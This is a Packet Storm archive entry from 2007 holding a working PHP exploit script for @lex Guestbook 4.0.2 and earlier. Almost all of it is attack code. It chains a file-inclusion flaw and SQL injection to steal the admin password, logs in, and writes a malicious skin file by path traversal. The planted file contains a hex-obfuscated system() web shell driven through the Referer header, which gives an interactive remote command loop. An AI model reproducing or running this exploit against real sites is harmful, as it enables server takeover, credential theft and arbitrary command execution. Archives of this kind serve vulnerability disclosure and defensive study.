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guest402.txt

🗓️ 13 Jan 2007 00:00:00Reported by DarkFigType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

Remote Command Execution Exploit in @lex Guestbook 4.0.

Code
`#!/usr/bin/php  
<?php  
  
/**  
* This file require the PhpSploit class.  
* If you want to use this class, the latest  
* version can be downloaded from acid-root.new.fr.  
**/  
require("phpsploitclass.php");  
  
  
/*/  
|  
| header> @lex Guestbook <= 4.0.2 Remote Command Execution Exploit  
| header> ========================================================  
| status> Retrieving the administrator password  
| sploit> AdminUsername::root  
| sploit> AdminPassword::toor  
| status> Trying to get logged in  
| sploit> Done  
| status> Trying to add a skin  
| sploit> Done  
| status> Writing the malicious skin  
| $shell> whoami  
| darkfig  
|  
| $shell> cat /etc/passwd ...  
|   
/*/  
  
if($argc < 2)  
{  
print "\n---------------------------------------------------------";  
print "\nAffected.scr..: @lex Guestbook <= 4.0.2"; // last version   
print "\nPoc.ID........: 20070107";  
print "\nType..........: PHP Code Execution";  
print "\nRisk.level....: High";  
print "\nSrc.download..: www.alexphpteam.com";  
print "\nPoc.link......: acid-root.new.fr/poc/20070107.txt";  
print "\nCredits.......: DarkFig";  
print "\n---------------------------------------------------------";  
print "\nUsage.........: php xpl.php <url>";  
print "\nProxyOptions..: <proxhost:proxport> <proxuser:proxpass>";  
print "\nExample.......: php xpl.php http://victim.com/@lexgb/";  
print "\n---------------------------------------------------------\n";  
exit(1);  
}  
  
$url=$argv[1];  
$prs=$argv[2];  
$pra=$argv[3];  
  
$xpl = new phpsploit();  
$xpl->agent("Sploitzilla");  
if(!empty($prs)) $xpl->proxy($prs);  
if(!empty($pra)) $xpl->proxyauth($pra);  
  
/*/  
|  
| index.php  
| =========  
| ... include($chem_absolu."include/livre_include.".$alex_livre_ext);  
|  
|   
| livre_include.php -> Local File Inclusion  
| =================  
| ... set_magic_quotes_runtime(0); // thx =)  
| ... if (isset($_GET['lang']) && $_GET['lang'] && file_exists($chem_absolu."languages/".$_GET['lang'].".".$alex_livre_ext))  
| $f_language = str_replace("..","",$_GET['lang']); // We can't use .... because of file_exists() verification but ... =]  
| include($chem_absolu."languages/".$f_language.".".$alex_livre_ext);  
|   
|  
| index.php -> SQL Injection  
| =========  
| ... sql_select_query("msg", "alex_livre_txt_lang", "WHERE lang='".$f_language."' and `type`='titre'");   
| // "SELECT msg FROM `alex_livre_txt_lang` WHERE lang='$f_language' and type=`titre`  
|   
/*/  
  
$sql = "index.php?lang=english.php%00'%20union%20select%20".  
"concat('XPLLogin:',(select%20login%20from%20alex_livr".  
"e_users%20LIMIT%201),'XPLPass:',(select%20pass%20from".  
"%20alex_livre_users%20LIMIT%201))/*";  
  
print "\nheader> @lex Guestbook <= 4.0.2 Remote Command Execution Exploit";  
print "\nheader> ========================================================";  
print "\nstatus> Retrieving the administrator password";  
$xpl->get($url.$sql);  
  
if(preg_match('#<div class="d_title">XPLLogin:(.*)XPLPass:(.*)</div>#',$xpl->getcontent(),$count))   
print "\nsploit> AdminUsername::".$count[1]."\nsploit> AdminPassword::".$count[2];  
else die("\nsploit> Exploit failed");  
  
print "\nstatus> Trying to get logged in";  
$xpl->post($url."admin/index.php","f_login=".$count[1]."&f_pass=".$count[2]."&f_identif=Identification");  
if(preg_match("#f_cadres\.php\?f_sid=([a-z0-9]{32})#",$xpl->getheader(),$sid)) print "\nsploit> Done";  
else die("\nsploit> Exploit failed");  
  
print "\nstatus> Trying to add a skin";  
// skins.php ... @mkdir($chem_absolu."templates/skins/".$_POST['aj_skin']."/", 0755)  
$xpl->post($url."admin/skins.php?f_sid=".$sid[1],"aj_skin=../../languages/d4h4x0rskin&ajouter=Ajouter");  
if(!preg_match('#alert\("ERREUR\n#',$xpl->getcontent())) print "\nsploit> Done";  
else die("\nsploit> Exploit failed");  
  
$scode = "chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d).".  
"chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70).".  
"chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).".  
"chr(0x73).chr(0x28).chr(0x24).chr(0x5f).chr(0x53).chr(0x45).".  
"chr(0x52).chr(0x56).chr(0x45).chr(0x52).chr(0x5b).chr(0x27).".  
"chr(0x48).chr(0x54).chr(0x54).chr(0x50).chr(0x5f).chr(0x52).".  
"chr(0x45).chr(0x46).chr(0x45).chr(0x52).chr(0x45).chr(0x52).".  
"chr(0x27).chr(0x5d).chr(0x29).chr(0x29).chr(0x3b)";  
  
$data = "skin_edit=skins.php%3Ff_sid%3D".$sid[1]."%26skin_edit".  
"%3D../../languages/d4h4x0rskin&alex_livre=<?php\r\n@e".  
"val($scode);exit(0);\r\n?>&add_message=&nb_message_pa".  
"ge=&list_pages=&corps_messages=&space=&assembly=&enre".  
"gistrer=Enregistrer";  
  
print "\nstatus> Writing the malicious skin\n\$shell> ";  
// skins.php ... write($chem_absolu."templates/skins/".$_GET['skin_edit']."/".$tab_template_guestbook[$i])  
$xpl->post($url."admin/skins.php?skin_edit=../../languages/d4h4x0rskin&f_sid=".$sid[1],$data);  
  
while(!preg_match("#^(quit|exit)$#",($cmd = trim(fgets(STDIN)))))  
{  
$xpl->addheader("Referer",$cmd);  
$xpl->get($url."index.php?lang=d4h4x0rskin/alex_livre.css%00");  
print $xpl->getcontent();  
print "\n\$shell> ";  
}  
`

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